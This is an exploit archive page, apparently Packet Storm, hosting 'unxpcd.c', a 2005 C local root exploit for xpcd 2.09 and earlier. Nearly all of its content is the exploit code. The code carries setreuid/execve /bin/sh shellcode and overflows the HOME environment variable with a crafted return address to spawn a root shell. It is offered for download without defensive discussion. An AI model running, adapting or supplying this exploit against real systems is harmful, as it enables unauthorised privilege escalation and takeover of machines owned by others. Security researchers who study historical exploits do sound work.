exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

unxpcd.c

unxpcd.c
Posted Nov 2, 2005
Authored by unl0ck, Darkeagle | Site exploiterz.org

xpcd local root exploit for versions 2.09 and belo.

tags | local, root
SHA-256 | 6beff4230abf9da27154ff90780cf32fc8664f49efd3b00063b8d4ef458e4b7a

unxpcd.c

Change Mirror Download
/*

xpcd <= 2.09 local r00t exploit

02.02.05

(c)oded by Darkeagle

*/

#include <stdio.h>
#include <string.h>

char
shellcode[]=

// setreuid(0,0); Coded by ChoiX [unl0ck team]
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80

// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax

"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80

// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80

int main(int argc, char *argv[])
{
char buf[1024];
long RET = 0x41424344;
char *path;

printf("\nxpcd local root exploit\n\n\n");

if ( argc < 2 )
{
printf("usage: %s <path>\n", argv[0]);
exit(0);
}

path = argv[1];
RET = 0xbffffffa - strlen(shellcode) - strlen(path);

memset(buf, 'A', 284);
*(long*)&buf[284] = RET;

setenv("HOME", buf, 1);
setenv("SHELLCODE", shellcode, 1);

execl(path, path, NULL);
return 0;
}
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close